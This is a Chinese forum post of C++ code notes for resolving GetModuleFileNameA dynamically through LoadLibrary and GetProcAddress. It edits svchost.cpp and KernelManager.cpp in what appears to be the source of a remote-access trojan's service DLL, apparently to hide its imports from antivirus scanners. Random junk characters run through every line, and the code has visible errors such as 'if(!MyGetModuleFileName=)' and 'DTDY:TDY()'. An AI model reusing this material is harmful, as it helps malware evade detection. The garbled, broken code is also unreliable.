|

- 帖子
- 11
- 积分
- 14
- 威望
- 17
- 金钱
- 10
- 在线时间
- 0 小时
|
全局动态调用笔记( N( Z7 c2 b2 p6 y9 M
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h' ]1 q W+ k! ?
----------------------------------------, _* p3 n+ C' z* p& j+ N$ R
DTDY.h:
4 e1 I1 f8 r4 I. |0 g% n; G2 X* G) B
#if _MSC_VER>1000
9 d0 {" p2 {0 u4 s1 c% q: i" B#pragma once
. F) Y4 N3 L& H& Y: m#endif //_MSC_VER>1000
& a& v: j. a; B( u* b$ E#include<windows.h>+ d ^! I( o2 N( z
0 p) ?9 Z( D' ?2 h
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
9 y |: y3 U5 J! y- q% [" I- ]class DTDY
( i4 o; x: Q, E3 N& P% S! o ` H{1 `. v4 [4 W% s! D4 Z p. m2 ]
public:
+ h; W+ B N4 H% y" f4 JDTDY();
" v3 I: G4 w9 U* U2 w/ l uvirtual ~DTDY();
& I! |7 d! e% }4 `public:0 ?; ~0 O0 y8 ?; w3 I
static pGetModuleFileNameA MyGetModuleFileName;
# ^4 Y' n5 p2 G. p$ _static BOOL FunInitiallization();
! k) N* ]+ _$ `, D. j4 I. g};. W2 B! ]7 d- z0 D7 M& x1 Z H
#endif
- ~ G# x. R0 G% R. P----------------------------------------1 X2 i/ A& L, z `
L. I# y5 p" t3 M5 @" pDTDY.cpp:" L8 C |" n, Q
* `) r3 n' |% u% A y
#include "DTDY.h"
5 D! Z6 b8 F! E3 t( k1 A' A! ~pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;6 L6 Z) X0 C" q! v" S: ~, B
DTDY:TDY()
% P: ?9 w2 G% o0 y1 ?+ g* l{+ I2 S1 F \/ A" D( r |
}9 B" T J" F7 r- Q
DTDY::~DTDY()3 G7 z+ v# `9 k" e, k T/ w- _* Z
{
8 x4 d, U( ?: B5 T/ y}
6 s5 j# K- ^2 T( |/ Z$ WBOOL DTDY::FunInitiallization()
1 a5 x0 K% O. W2 r; N9 C3 M{1 E* Y( T4 p& S! n1 ?+ O L* s
HMODULE hModule=LoadLibrary("kernel32.dll");
& G, r, ?- g; g/ x1 SMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
" N& B5 h" V7 Vif(!MyGetModuleFileName=) return FALSE;
' i# x6 J1 G) X/ M" y- X7 G% C) k( K8 V. C( [1 S% x& L3 M! V9 q
return TRUE;; ~% r- ?% e$ a: a4 a
}0 y9 ? r) n: @" y
----------------------------------------
9 S* F/ [: ^' o/ v3 g& \& qsvchost.cpp:$ B# T7 I* |; i0 z* M0 J9 r0 d: y
8 M$ P3 Y% V/ l6 Y0 _8 Y
#include "DTDY.h"
$ s2 j) l+ f6 }1 v# W- J7 U
/ @/ K. a* {7 X# D, {BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
4 i% i& S; t( Q3 X" g+ T{" |2 ?' A0 @7 F
switch(ul_reason_for_call)
5 U# @/ N; a$ V{
7 t; H5 ] U5 v! }+ ?case DLL_PROCESS_ATTACH:' P1 t6 { P9 p* J
if(!DTDY::FunInitiallization()) return FALSE;
7 Q8 w; {7 E% p0 ?* [, E" \
( d# r! g6 M( R- L! }break;
0 X1 Q! k7 q6 a0 _5 j}# ?7 X# g* n! ]' K4 }4 ~. R$ S% e# {
}
2 c! g& v" t2 S) O! N. c3 n" \5 U: H1 A: J
- {7 v5 t# E$ \3 j# YGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def) u2 I( U) y3 h( t! v3 J
改写为' q- Q [8 c. j' N
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName)); e! ]4 o' B) S9 B4 h( x
----------------------------------------3 }* Y- a! g( G& p. D- F
KernelManager.cpp:
# Z- h3 D. |9 R3 g4 l: L: B5 h& }6 X" l$ m0 X; i! T
#include "../DTDY.h"" S2 s0 {, A/ q* ^1 v" M
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));" }. {( q" R" l) ]/ q$ {0 R# H
改写为9 {3 L+ b& ?0 W1 t
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));: d8 b6 x& {( }3 ~/ y" C# \! ]
---------------------------------------- |
|